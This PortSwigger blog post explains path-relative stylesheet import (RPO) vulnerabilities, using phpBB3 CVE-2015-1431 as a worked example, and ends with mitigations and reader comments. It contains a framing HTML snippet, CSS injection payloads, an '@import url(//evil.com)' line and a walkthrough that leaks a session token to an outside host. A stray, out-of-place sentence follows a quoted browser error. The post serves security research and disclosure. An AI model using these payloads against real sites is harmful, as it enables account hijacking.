Burp Suite, the leading toolkit for web application security testing

PortSwigger Web Security Blog

Tuesday, February 17, 2015

Detecting and exploiting path-relative stylesheet import (PRSSI) vulnerabilities

Early last year Gareth Heyes unveiled a fascinating new technique for attacking web applications by exploiting path-relative stylesheet imports, and dubbed it ‘Relative Path Overwrite’. This attack tricks browsers into importing HTML pages as stylesheets by abusing the path handling features of many common web languages and frameworks. Thanks to extremely tolerant stylesheet parsing, this can frequently be used to inject malicious CSS and hijack user accounts.

This technique is currently quite esoteric, so it’s often effective against sites that have already been subjected to professional or crowdsourced audits. However, successfully exploiting it in a real world environment involves navigating an array of arcane browser internals that often aren't otherwise highly relevant to pentesters. This post aims to help out by walking through the process of identifying and exploiting this issue, using a real vulnerability in the popular bulletin board software phpBB3 as a worked example.

The fundamentals

Webpages can use path-relative links to load content from nearby folders. For example, say a browser loads


and this page uses the following statement to import an external stylesheet: 

<link href="styles/prosilver/theme/print.css" rel="stylesheet" type="text/css"/>

The absence of a leading / indicates that the browser should interpret it relative to the current page’s folder. The web browser will calculate this folder (/phpBB3/) from the current URL, and grab the stylesheet from:


So far so good. However, thanks to a feature of PHP (and .NET, JSP and many frameworks*), the same original page can be accessed by browsing to:


Parsing URLs is tricky, and web browsers are oblivious to this feature so they will misinterpret this URL as referring to a file called ‘here’ in the ‘/phpBB3/viewforum.php/anything/’ folder and attempt to import the following page as a stylesheet:


The server will view this as a second request to /phpBB3/viewforum.php, and serve an HTML response.

Exploiting Quirks

What happens when a browser tries to load an HTML page as a stylesheet? It depends on whether the importing page was rendered in ‘Quirks mode’. Quirks mode was designed to gracefully handle the poorly coded websites common in the early days of the web. If Quirks mode is active, the browser will happily ignore the ‘Content-Type: text/html’ header and parse the document looking for any CSS to execute. If not, the browser will refuse to parse it, and display a helpful message in the developer tools:

The stylesheet was not loaded because its MIME type, "text/html", is not "text/css". No live internal IPs were disclosed in the making of this.


SEC7113: CSS was ignored due to mime type mismatch

This means that to create a working exploit we need the page to be rendered in Quirks mode. Quirks mode is triggered automatically when a HTML page fails to set a doctype, or uses an old one like:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

See the table near the bottom of https://hsivonen.fi/doctype/ for a fairly comprehensive list of which doctypes trigger this behaviour.

Fortunately for us, there is a way to trigger Quirks mode even when the page uses a modern doctype. Internet Explorer allows document modes to be inherited through iframes, so we can force any page to be loaded in Quirks mode by framing it*. phpBB3 doesn’t use any effective anti-framing measures, so we can proceed using this attack route. The following HTML uses a meta tag to ensure Quirks mode is activated, then loads the target page:

<html><head><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"></head><body><iframe src=http://example.com/phpBB3/viewforum.php/foo/bar

We can confirm that this has worked by noting that although the CSS is still broken, the ‘CSS was ignored due to mime type mismatch’ messages have disappeared. In certain rare situations an oblivious server may detect that the filename ends in ‘.css’ and set ‘Content-Type: text/css’ automatically, removing the need for Quirks mode.

Injecting CSS

Now that we have got the browser to import a HTML page as a stylesheet, we just need a way to get our malicious CSS into position. Since CSS parsers are so tolerant, it doesn’t really matter where in the HTML tree the payload lands. All we need to do is inject the following minimal payload:


The leading %0A{} is necessary to get the CSS parser into the correct state to handle the *{ selector, and the %0A can be omitted if you aren’t inside a quoted string.

Depending on what the page displays, the payload could originate from a classic persistent input, or the user’s session, referrer, path or cookie. Our target page reflects the path, so we’ll use that:


which returns:

<link rel="alternate" type="application/atom+xml" title="Feed - yourdomain.com" href="http://example.com/phpBB3/search.php/
{}*{color:red;}//styles/prosilver/theme/feed.php" />

If we place this URL in the iframe we prepared earlier, we can see the injected CSS taking effect:

Malicious CSS

To load an external stylesheet of arbitrary length, just replace the *{color: red;} payload with @import url(//evil.com). Being able to execute arbitrary CSS on someone else’s domain opens the door to all kinds of carnage:
In some situations Internet Explorer refuses to send cookies to iframed sites due to P3P. This limits attacks to unauthenticated content grabbing, such as scraping passwords from internal corporate wikis. Fortunately for us, this problem doesn't affect intranet sites or sites with a solid P3P policy, and P3P is not even implemented in Windows 10 - see A Quick Look at P3P for more information.

The last approach might sound quite implausible, but that’s exactly what phpBB3 does. Whenever a logged in user visits


the server redirects them to


where ‘sid’ is their session key, fresh out their cookie. This key is then appended to a path relative stylesheet imports:

<link href="./../style.php?id=1&amp;lang=en&amp;sid=6a37bda1ee5b560e1e70395cfb8b11d8" rel="stylesheet" type="text/css"

We can abuse this by constructing a payload which discloses the entire session token in a single request, via the HTTP referrer header. The source for this attack is:

<html><head><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"></head><body><iframe width="90%" height="90%" src="

The attack URL is a bit messy because I had to double-URL encode it to get through the initial redirect. Also, the redirect encoded and filtered spaces and newlines, so I replaced them with tab and ‘form feed’ characters instead respectively, courtesy of http://html5sec.org/#45

It triggers the following sequence of events when loaded in Internet Explorer by a user logged in to phpBB:
  • The meta statement triggers Quirks mode. 
  • The site loads the following URL in an iframe:
  • This results in a redirect to:
  • The users’ browser renders this page and tries to load the following HTML page as a stylesheet:
  • When processing this page, the CSS parser reaches and executes the following statement injected via the URL: @import '//portswigger.net/css/ps.css'
This makes the browser leak the session id by trying to fetch http://portswigger.net/css/ps.css with the following referer header:

Request triggered by phpBB3 to http://portswigger.net

Request to http://portswigger.net disclosing SID in the referer header

Obtaining the sid token grants us access to the target's session, but for one final catch. phpBB3 associates session tokens with IP addresses by default, so in a remote attack scenario you’d need to proxy through the victim’s browser using DNS rebinding, an attack that's possible in all major browsers but sadly beyond the scope of this writeup.

Automatic detection

Hopefully this post has enough detail for you to find this vulnerability using nothing but coffee and a web browser. However, if you're looking for something a bit more scalable, Burp Suite's passive scanner automatically recognises and reports pages containing path-relative stylesheet imports that may be susceptible to content-sniffing. Launching an active scan will follow up on this and verify that the server has the path-handling features necessary to trigger a misguided import:

The final step of injecting CSS is (currently) left as an exercise for the user.

Securing applications

The example vulnerability in phpBB3 was classified as CVE-2015-1431, and fixed in version 3.0.13.

The root problem can be resolved by not using path-relative links on systems with flexible path-handling. Finally, the vulnerability can be mitigated using the following best practise steps, which may look awfully familiar:
  • Set the server header X-Frame-Options: deny on all pages 
  • Set the server header X-Content-Type-Options: nosniff on all pages 
  • Set a modern doctype (eg: <!doctype html>) on all pages


Avoiding this vulnerability is easy enough, but I think the way it arose in the first place is an excellent example of tolerance and flexibility conflicting with security. This issue simply wouldn't exist without garbage-happy CSS parsing, browsers bending rules and content-sniffing to render noncompliant web pages, or web frameworks redefining URL components as a pseudo query-string.

* The syntax to attack JSP applications is slightly different: http://example.com/index.jsp;anything/here


Anonymous said...


What a fantastic post. Please keep up the good work.

mark van tilburg said...

Would that also be for included images?

James Kettle said...


As far as I'm aware this issue is only realistically exploitable for stylesheet imports. Images can't contain active content, and JavaScript parsing is too strict to ignore HTML.

Bryan C. Geraghty said...

The root problem statement here is interesting. There is no mention that the SID in the URL is a problem.

Rogan Dawes said...

Very nice, comprehensive and well explained post. Thank you.

aer/0 said...

Very cool new technique. The payload offered doesn't work on .NET/IIS apps, though. %0A breaks and I get a HTTP400. * and : also trigger RequestValidator. Looking into alternative exploitation methods now.

James Kettle said...


The final payload uses %0C instead of %0A. For the other characters, https://html5sec.org/#60 might be useful.

The one thing likely to break this particular exploit is IE's P3P settings - if the target website doesn't set a P3P header and isn't in the Intranet zone, then the exploit won't work below windows 10.


I assume the reader already knows placing a session token in the URL is a bad idea. It isn't the root problem with phpBB - if the session token wasn't available I would use the CSS selector attack to extract a CSRF token, then use that to CSRF them. I went with session stealing because it's easier.

Anonymous said...

"Quirks mode was designed to gracefully handle the poorly coded websites common in the early days of the web."
Most websites are still poorly coded. And tey're even slower than in the early days because of the crappy fb, twitter, whatever... iframes.

James Kettle said...
This comment has been removed by the author.
James Kettle said...

See also https://soroush.secproject.com/blog/2015/02/non-root-relative-path-overwrite-rpo-in-iis-and-net-applications/ for some IIS/.NET specific variations of this attack.

Support Center

Get help and join the community discussions at the Burp Suite Support Center.

Visit the Support Center ›

Copyright 2016 PortSwigger Ltd. All rights reserved.